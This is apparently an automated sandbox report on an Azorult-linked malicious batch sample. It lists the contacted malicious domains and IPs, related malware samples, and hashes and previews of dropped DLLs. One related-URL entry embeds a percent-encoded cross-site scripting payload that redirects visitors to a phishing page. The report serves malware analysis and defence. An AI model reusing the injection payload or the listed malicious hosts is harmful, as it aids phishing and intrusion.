http://h8m5b.shop/ML341/index.phpTemp	Order-63729_Reference.exe, 00000004.00000002.2160202493.000000000073D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	Order-63729_Reference.exe, 00000004.00000003.2113777720.0000000000773000.00000004.00000020.00020000.00000000.sdmp, 678557889490724568831.tmp.4.dr, 67856257760153941723665.tmp.4.dr	false	URL Reputation: safe	unknown
http://h8m5b.shop/ML341/index.phpt	Order-63729_Reference.exe, 00000004.00000002.2160202493.0000000000723000.00000004.00000020.00020000.00000000.sdmp	false	4%, Virustotal, Browse	unknown
http://h8m5b.shop/ML341/index.php9	Order-63729_Reference.exe, 00000004.00000002.2160202493.0000000000723000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://h8m5b.shop/ML341/index.phprkq	Order-63729_Reference.exe, 00000004.00000002.2160202493.0000000000723000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.67.159.45	h8m5b.shop	United States		13335	CLOUDFLARENETUS	true
217.160.121.141	unknown	Germany		8560	ONEANDONE-ASBrauerstrasse48DE	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1524688
Start date and time:	2024-10-03 05:02:01 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 28s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Order-63729_Reference.bat
Detection:	MAL
Classification:	mal100.phis.troj.spyw.winBAT@6/58@1/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 98 Number of non-executed functions: 20
Cookbook Comments:	Found application associated with file extension: .bat

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
23:02:51	API Interceptor	19x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
217.160.121.141	Refrence-Order#63729.pdf	Get hash	malicious	Azorult	Browse	217.160.121.141:8030/5643254657/Order-63729r.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
h8m5b.shop	Refrence-Order#63729.pdf	Get hash	malicious	Azorult	Browse	104.21.14.133
h8m5b.shop	SN890156.exe	Get hash	malicious	Azorult, GuLoader	Browse	104.21.14.133

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ONEANDONE-ASBrauerstrasse48DE	Refrence-Order#63729.pdf	Get hash	malicious	Azorult	Browse	217.160.121.141
	https://booking.com-partners.one/confirm/login/qAlElVVF	Get hash	malicious	Unknown	Browse	212.227.67.33
	P030092024LANDWAY.exe	Get hash	malicious	FormBook	Browse	217.160.0.158
	http://t-onlinogenx.vercel.app/	Get hash	malicious	Unknown	Browse	195.20.250.204
	https://id-ionos.premiumservicesrl.com/pass.php	Get hash	malicious	Unknown	Browse	195.20.250.192
	https://id-ionos.premiumservicesrl.com/?e=redacted@abuse.ionos.com	Get hash	malicious	Unknown	Browse	217.160.86.163
	http://www.therainbowfrog.com/SharePointProposalFile/	Get hash	malicious	Unknown	Browse	198.71.63.133
	http://agripro-fr-e33e6a92f474e96bf.com/	Get hash	malicious	Unknown	Browse	217.160.0.95
	Revised Invoice H000127896.exe	Get hash	malicious	FormBook	Browse	217.160.0.27
	ADNOC requesting RFQ.exe	Get hash	malicious	FormBook	Browse	74.208.236.183
CLOUDFLARENETUS	SentinelOculus.exe	Get hash	malicious	LummaC	Browse	172.67.209.193
	win.exe	Get hash	malicious	LummaC	Browse	172.67.209.193
	Refrence-Order#63729.pdf	Get hash	malicious	Azorult	Browse	104.21.14.133
	6.dll	Get hash	malicious	Unknown	Browse	104.20.4.235
	file.exe	Get hash	malicious	Unknown	Browse	172.67.74.152
	5.dll	Get hash	malicious	Unknown	Browse	104.20.3.235
	file.exe	Get hash	malicious	Unknown	Browse	172.67.74.152
	Globalfoundries.com_Report_46279.pdf	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	http://fpnc.vnvrff.com/	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://www.florenceco.org/offices/elected/solicitor/docket.php?area=florence%22%3E%3C%69%6D%67%20%73%72%63%3D%22%69%6D%61%67%65%2E%6A%70%67%22%20%6F%6E%65%72%72%6F%72%3D%22%76%61%72%20%75%72%6C%31%20%3D%20%5B%27%68%74%74%27%2C%27%70%3A%2F%2F%67%27%2C%27%6F%27%2C%27%6F%67%27%2C%27%6C%65%2E%63%27%2C%27%6F%6D%27%2C%27%2F%27%2C%27%23%27%2C%27%66%27%5D%2E%6A%6F%69%6E%28%27%27%29%3B%20%76%61%72%20%75%72%6C%32%20%3D%20%5B%27%68%74%74%27%2C%27%70%3A%2F%2F%67%27%2C%27%6F%27%2C%27%6F%67%27%2C%27%6C%65%2E%63%27%2C%27%6F%6D%27%2C%27%2F%27%2C%27%23%27%2C%27%66%27%5D%2E%6A%6F%69%6E%28%27%27%29%3B%0D%0A%76%61%72%20%75%72%6C%20%3D%20%5B%27%68%74%27%2C%27%74%70%27%2C%27%73%3A%2F%2F%76%27%2C%27%61%75%6C%27%2C%27%74%64%6F%27%2C%27%72%65%73%2E%63%27%2C%27%6F%6D%2F%30%2F%27%2C%27%30%2F%30%2F%27%2C%27%34%33%66%66%27%2C%27%35%63%62%35%27%2C%27%63%36%27%2C%27%32%65%27%2C%27%32%66%38%64%31%27%2C%27%31%63%61%33%38%38%27%2C%27%65%34%37%35%62%36%27%2C%27%63%34%36%2F14/392-16513/1254-3178-27524%27%5D%2E%6A%6F%69%6E%28%27%27%29%3B%0D%0A%20%75%72%6C%20%3D%20%75%72%6C%2E%72%65%70%6C%61%63%65%28%2F%2C%2F%67%2C%20%27%27%29%3B%20%76%61%72%20%77%69%6E%20%3D%20%77%69%6E%64%6F%77%2E%6F%70%65%6E%28%75%72%6C%2C%20%27%5F%73%65%6C%66%27%29%3B%20%77%69%6E%2E%6F%70%65%6E%65%72%20%3D%20%6E%75%6C%6C%3B%20%77%69%6E%2E%6C%6F%63%61%74%69%6F%6E%2E%72%65%70%6C%61%63%65%28%75%72%6C%29%3B%22%3E	Get hash	malicious	Phisher	Browse	188.114.96.3

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-console-l1-1-0.dll	Refrence-Order#63729.pdf	Get hash	malicious	Azorult	Browse
	Payment Advice Note_Pdf.exe	Get hash	malicious	Azorult, GuLoader	Browse
	HSBC_Payment.exe	Get hash	malicious	Azorult, GuLoader	Browse
	Est_US091024A - PICTURE.exe	Get hash	malicious	Azorult, GuLoader	Browse
	SwiftMesaj.pdf.exe	Get hash	malicious	Azorult, GuLoader	Browse
	SN890156.exe	Get hash	malicious	Azorult, GuLoader	Browse
	Unincriminated.exe	Get hash	malicious	Azorult, GuLoader	Browse
	PO#940894.exe	Get hash	malicious	Azorult, GuLoader	Browse
	Opgaveforlb.exe	Get hash	malicious	Azorult, GuLoader	Browse
	z1Io2AQrOZ.exe	Get hash	malicious	Azorult	Browse
C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-datetime-l1-1-0.dll	Refrence-Order#63729.pdf	Get hash	malicious	Azorult	Browse
	Payment Advice Note_Pdf.exe	Get hash	malicious	Azorult, GuLoader	Browse
	HSBC_Payment.exe	Get hash	malicious	Azorult, GuLoader	Browse
	Est_US091024A - PICTURE.exe	Get hash	malicious	Azorult, GuLoader	Browse
	SwiftMesaj.pdf.exe	Get hash	malicious	Azorult, GuLoader	Browse
	SN890156.exe	Get hash	malicious	Azorult, GuLoader	Browse
	Unincriminated.exe	Get hash	malicious	Azorult, GuLoader	Browse
	PO#940894.exe	Get hash	malicious	Azorult, GuLoader	Browse
	Opgaveforlb.exe	Get hash	malicious	Azorult, GuLoader	Browse
	z1Io2AQrOZ.exe	Get hash	malicious	Azorult	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-console-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.080160932980843
Encrypted:	false
SSDEEP:	192:3jBMWIghWGZiKedXe123Ouo+Uggs/nGfe4pBjS/uBmWh0txKdmVWQ4GWDZoiyqnP:GWPhWVXYi00GftpBjSemTltcwpS
MD5:	502263C56F931DF8440D7FD2FA7B7C00
SHA1:	523A3D7C3F4491E67FC710575D8E23314DB2C1A2
SHA-256:	94A5DF1227818EDBFD0D5091C6A48F86B4117C38550343F780C604EEE1CD6231
SHA-512:	633EFAB26CDED9C3A5E144B81CBBD3B6ADF265134C37D88CFD5F49BB18C345B2FC3A08BA4BBC917B6F64013E275239026829BA08962E94115E94204A47B80221
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: Refrence-Order#63729.pdf, Detection: malicious, Browse Filename: Payment Advice Note_Pdf.exe, Detection: malicious, Browse Filename: HSBC_Payment.exe, Detection: malicious, Browse Filename: Est_US091024A - PICTURE.exe, Detection: malicious, Browse Filename: SwiftMesaj.pdf.exe, Detection: malicious, Browse Filename: SN890156.exe, Detection: malicious, Browse Filename: Unincriminated.exe, Detection: malicious, Browse Filename: PO#940894.exe, Detection: malicious, Browse Filename: Opgaveforlb.exe, Detection: malicious, Browse Filename: z1Io2AQrOZ.exe, Detection: malicious, Browse
Reputation:	high, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....."............!......................... ...............................0.......J....@.............................+............ ..................8=..............T............................................................................text...+........................... ..`.rsrc........ ......................@..@......".........;...T...T.........".........d.................".....................RSDSMB...5.G.8.'.d.....api-ms-win-core-console-l1-1-0.pdb..........T....rdata..T........rdata$zzzdbg.......+....edata... ..`....rsrc$01....` .......rsrc$02......................".....................(...`...............,...W...................G...o...............................D...s...............5...b...............................................api-ms-win-core-console-l1-1-0.dll.AllocConsole.kern

C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-datetime-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.093995452106596
Encrypted:	false
SSDEEP:	192:RWIghWG4U9xluZo123Ouo+Uggs/nGfe4pBjSbMDPxVWh0txKdmVWQ4CWrDry6qnZ:RWPhWFv0i00GftpBjBHem6plUG+zIw
MD5:	CB978304B79EF53962408C611DFB20F5
SHA1:	ECA42F7754FB0017E86D50D507674981F80BC0B9
SHA-256:	90FAE0E7C3644A6754833C42B0AC39B6F23859F9A7CF4B6C8624820F59B9DAD3
SHA-512:	369798CD3F37FBAE311B6299DA67D19707D8F770CF46A8D12D5A6C1F25F85FC959AC5B5926BC68112FA9EB62B402E8B495B9E44F44F8949D7D648EA7C572CF8C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: Refrence-Order#63729.pdf, Detection: malicious, Browse Filename: Payment Advice Note_Pdf.exe, Detection: malicious, Browse Filename: HSBC_Payment.exe, Detection: malicious, Browse Filename: Est_US091024A - PICTURE.exe, Detection: malicious, Browse Filename: SwiftMesaj.pdf.exe, Detection: malicious, Browse Filename: SN890156.exe, Detection: malicious, Browse Filename: Unincriminated.exe, Detection: malicious, Browse Filename: PO#940894.exe, Detection: malicious, Browse Filename: Opgaveforlb.exe, Detection: malicious, Browse Filename: z1Io2AQrOZ.exe, Detection: malicious, Browse
Reputation:	high, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...A..............!......................... ...............................0.......#....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@....A...........<...T...T.......A...........d...............A.......................RSDS...W,X.l..o....4....api-ms-win-core-datetime-l1-1-0.pdb.........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02....................A.......P...............(...8...H...................t.......................api-ms-win-core-datetime-l1-1-0.dll.GetDateFormatA.kernel32.GetDateFormatA.GetDateFormatW.kernel32.GetDateFormatW.GetTimeFormatA.kernel32.GetTimeFormatA

C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-debug-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.1028816880814265
Encrypted:	false
SSDEEP:	384:cWPhWM4Ri00GftpBj2YILemtclD16PaEC:l10oiBQe/L
MD5:	88FF191FD8648099592ED28EE6C442A5
SHA1:	6A4F818B53606A5602C609EC343974C2103BC9CC
SHA-256:	C310CC91464C9431AB0902A561AF947FA5C973925FF70482D3DE017ED3F73B7D
SHA-512:	942AE86550D4A4886DAC909898621DAB18512C20F3D694A8AD444220AEAD76FA88C481DF39F93C7074DBBC31C3B4DAF97099CFED86C2A0AAA4B63190A4B307FD
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L..................!......................... ...............................0......GF....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@................9...T...T...................d.......................................RSDS.j..v..C...B..h....api-ms-win-core-debug-l1-1-0.pdb............T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02............................P...............(...8...H...\|...............q.......................api-ms-win-core-debug-l1-1-0.dll.DebugBreak.kernel32.DebugBreak.IsDebuggerPresent.kernel32.IsDebuggerPresent.OutputDebugStringA.kernel32.OutputDebugStri

C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-errorhandling-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.126358371711227
Encrypted:	false
SSDEEP:	192:NFmxD3PWIghWGJY/luZo123Ouo+Uggs/nGfe4pBjSffcp8Wh0txKdmVWQ4yWRzOr:NFkWPhW60i00GftpBj4emHlD16Pa7v
MD5:	6D778E83F74A4C7FE4C077DC279F6867
SHA1:	F5D9CF848F79A57F690DA9841C209B4837C2E6C3
SHA-256:	A97DCCA76CDB12E985DFF71040815F28508C655AB2B073512E386DD63F4DA325
SHA-512:	02EF01583A265532D3970B7D520728AA9B68F2B7C309EE66BD2B38BAF473EF662C9D7A223ACF2DA722587429DA6E4FBC0496253BA5C41E214BEA240CE824E8A2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...\x.............!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@....\x..........A...T...T.......\x..........d...............\x......................RSDS.1....U45.z.d.....api-ms-win-core-errorhandling-l1-1-0.pdb............T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02............\x......n...............(...D...`...................4...f.......................'...J.....................api-ms-win-core-errorhandling-l1-1-0.dll.GetErrorMode.kernel32.GetErrorMode.GetLastError.kernel32.GetLastError.RaiseExcept

C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-file-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	21816
Entropy (8bit):	7.014255619395433
Encrypted:	false
SSDEEP:	384:d6PvVXHWPhWnsnhi00GftpBjaJemyDlD16PamW8:UPvVX85nhoisJeLt8
MD5:	94AE25C7A5497CA0BE6882A00644CA64
SHA1:	F7AC28BBC47E46485025A51EEB6C304B70CEE215
SHA-256:	7EA06B7050F9EA2BCC12AF34374BDF1173646D4E5EBF66AD690B37F4DF5F3D4E
SHA-512:	83E570B79111706742D0684FC16207AE87A78FA7FFEF58B40AA50A6B9A2C2F77FE023AF732EF577FB7CD2666E33FFAF0E427F41CA04075D83E0F6A52A177C2B0
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.................!.........................0...............................@......./....@..........................................0..................8=..............T............................................................................text............................... ..`.rsrc........0......................@..@...............8...T...T..................d......................................RSDS.0...B..8....G....api-ms-win-core-file-l1-1-0.pdb.........T....rdata..T........rdata$zzzdbg............edata...0..`....rsrc$01....`0.......rsrc$02.......................K...K.......D...p...6...`.......................?...l...............A...................6..._...................;...e............... ...I...n...............-...d......................g..................U...................M...

C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-file-l1-2-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.112057846012794
Encrypted:	false
SSDEEP:	192:IWIghWGJnWdsNtL/123Ouo+Uggs/nGfe4pBjSfcD63QXWh0txKdmVWQ4yW1rwqnh:IWPhWlsnhi00GftpBjnem9lD16PamFP
MD5:	E2F648AE40D234A3892E1455B4DBBE05
SHA1:	D9D750E828B629CFB7B402A3442947545D8D781B
SHA-256:	C8C499B012D0D63B7AFC8B4CA42D6D996B2FCF2E8B5F94CACFBEC9E6F33E8A03
SHA-512:	18D4E7A804813D9376427E12DAA444167129277E5FF30502A0FA29A96884BF902B43A5F0E6841EA1582981971843A4F7F928F8AECAC693904AB20CA40EE4E954
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...._.L...........!......................... ...............................0............@.............................L............ ..................8=..............T............................................................................text...<........................... ..`.rsrc........ ......................@..@....._.L........8...T...T........_.L........d................_.L....................RSDS........g"Y........api-ms-win-core-file-l1-2-0.pdb.........T....rdata..T........rdata$zzzdbg.......L....edata... ..`....rsrc$01....` .......rsrc$02........._.L....@...................(...8...l...............`.......................api-ms-win-core-file-l1-2-0.dll.CreateFile2.kernel32.CreateFile2.GetTempPathW.kernel32.GetTempPathW.GetVolumeNameForVolumeMountPointW.kernel32.GetVolumeNameForVolumeMou

C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-file-l2-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.166618249693435
Encrypted:	false
SSDEEP:	192:BZwWIghWG4U9ydsNtL/123Ouo+Uggs/nGfe4pBjSbUGHvNWh0txKdmVWQ4CWVU9h:UWPhWFBsnhi00GftpBjKvxemPlP55QQ7
MD5:	E479444BDD4AE4577FD32314A68F5D28
SHA1:	77EDF9509A252E886D4DA388BF9C9294D95498EB
SHA-256:	C85DC081B1964B77D289AAC43CC64746E7B141D036F248A731601EB98F827719
SHA-512:	2AFAB302FE0F7476A4254714575D77B584CD2DC5330B9B25B852CD71267CDA365D280F9AA8D544D4687DC388A2614A51C0418864C41AD389E1E847D81C3AB744
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...4..\|...........!......................... ...............................0......t.....@.......................................... ..................8=..............T............................................................................text...}........................... ..`.rsrc........ ......................@..@....4..\|........8...T...T.......4..\|........d...............4..\|....................RSDS.=.Co.P..Gd./%P....api-ms-win-core-file-l2-1-0.pdb.........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02........4..\|........................D...p...............#...P...................;...g...................<...m...............%...Z.........................api-ms-win-core-file-l2-1-0.dll.CopyFile2.kernel32.CopyFile2.CopyFileExW.kernel32.CopyFileExW.Crea

C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-handle-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.1117101479630005
Encrypted:	false
SSDEEP:	384:AWPhWXDz6i00GftpBj5FrFaemx+lDbNh/6:hroidkeppp
MD5:	6DB54065B33861967B491DD1C8FD8595
SHA1:	ED0938BBC0E2A863859AAD64606B8FC4C69B810A
SHA-256:	945CC64EE04B1964C1F9FCDC3124DD83973D332F5CFB696CDF128CA5C4CBD0E5
SHA-512:	AA6F0BCB760D449A3A82AED67CA0F7FB747CBB82E627210F377AF74E0B43A45BA660E9E3FE1AD4CBD2B46B1127108EC4A96C5CF9DE1BDEC36E993D0657A615B6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....G...........!......................... ...............................0......V.....@............................._............ ..................8=..............T............................................................................text..._........................... ..`.rsrc........ ......................@..@......G........:...T...T.........G........d.................G....................RSDSQ..{...IS].0.> ....api-ms-win-core-handle-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg......._....edata... ..`....rsrc$01....` .......rsrc$02......................G....Z...............(...<...P...................A...\|...............,.............api-ms-win-core-handle-l1-1-0.dll.CloseHandle.kernel32.CloseHandle.CompareObjectHandles.kernel32.CompareObjectHandles.DuplicateHandle.kernel32

C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-heap-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.174986589968396
Encrypted:	false
SSDEEP:	192:GElqWIghWGZi5edXe123Ouo+Uggs/nGfe4pBjS/PHyRWh0txKdmVWQ4GWC2w4Dj3:GElqWPhWCXYi00GftpBjP9emYXlDbNs
MD5:	2EA3901D7B50BF6071EC8732371B821C
SHA1:	E7BE926F0F7D842271F7EDC7A4989544F4477DA7
SHA-256:	44F6DF4280C8ECC9C6E609B1A4BFEE041332D337D84679CFE0D6678CE8F2998A
SHA-512:	6BFFAC8E157A913C5660CD2FABD503C09B47D25F9C220DCE8615255C9524E4896EDF76FE2C2CC8BDEF58D9E736F5514A53C8E33D8325476C5F605C2421F15C7D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....:............!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@......:.........8...T...T.........:.........d.................:.....................RSDS.K....OB;....X......api-ms-win-core-heap-l1-1-0.pdb.........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02..........:.........................X...............2...Q...q.......................C...h...........................(...E...f.......................0..._...z...............................................api-ms-win-core-heap-l1-1-0.dll.GetProcessHeap.k

C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-interlocked-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	17856
Entropy (8bit):	7.076803035880586
Encrypted:	false
SSDEEP:	192:DtiYsFWWIghWGQtu7B123Ouo+Uggs/nGfe4pBjSPiZadcbWh0txKdmVWQ4mWf2FN:5iYsFWWPhWUTi00GftpBjremUBNlgC
MD5:	D97A1CB141C6806F0101A5ED2673A63D
SHA1:	D31A84C1499A9128A8F0EFEA4230FCFA6C9579BE
SHA-256:	DECCD75FC3FC2BB31338B6FE26DEFFBD7914C6CD6A907E76FD4931B7D141718C
SHA-512:	0E3202041DEF9D2278416B7826C61621DCED6DEE8269507CE5783C193771F6B26D47FEB0700BBE937D8AFF9F7489890B5263D63203B5BA99E0B4099A5699C620
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....$.............!......................... ...............................0...........@.......................................... ...................9..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....$..........?...T...T........$..........d................$......................RSDS#.......,.S.6.~j....api-ms-win-core-interlocked-l1-1-0.pdb..........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.................$......................(...T...............L...............!...U...................1.......p...............@...s.................................api-ms-win-core-interlocked-l1-1-0.dll.InitializeSListHead.kernel32.InitializeSLis

C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-libraryloader-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.131154779640255
Encrypted:	false
SSDEEP:	384:yHvuBL3BmWPhWZTi00GftpBjNKnemenyAlvN9W/L:yWBL3BXYoinKne1yd
MD5:	D0873E21721D04E20B6FFB038ACCF2F1
SHA1:	9E39E505D80D67B347B19A349A1532746C1F7F88
SHA-256:	BB25CCF8694D1FCFCE85A7159DCF6985FDB54728D29B021CB3D14242F65909CE
SHA-512:	4B7F2AD9EAD6489E1EA0704CF5F1B1579BAF1061B193D54CC6201FFDDA890A8C8FACB23091DFD851DD70D7922E0C7E95416F623C48EC25137DDD66E32DF9A637
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....ul...........!......................... ...............................0......9.....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....ul........A...T...T........ul........d................ul....................RSDSU..e.j.(.wD.......api-ms-win-core-libraryloader-l1-1-0.pdb............T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.............ul....................(...p...........R...}..................Y...................8..._.......................B...k...................F...u...............)...P...w...................................................api-ms-win-c

C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-localization-l1-2-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	20792
Entropy (8bit):	7.089032314841867
Encrypted:	false
SSDEEP:	384:KOMw3zdp3bwjGjue9/0jCRrndbVWPhWIDz6i00GftpBj6cemjlD16Pa+4r:KOMwBprwjGjue9/0jCRrndbCOoireqv
MD5:	EFF11130BFE0D9C90C0026BF2FB219AE
SHA1:	CF4C89A6E46090D3D8FEEB9EB697AEA8A26E4088
SHA-256:	03AD57C24FF2CF895B5F533F0ECBD10266FD8634C6B9053CC9CB33B814AD5D97
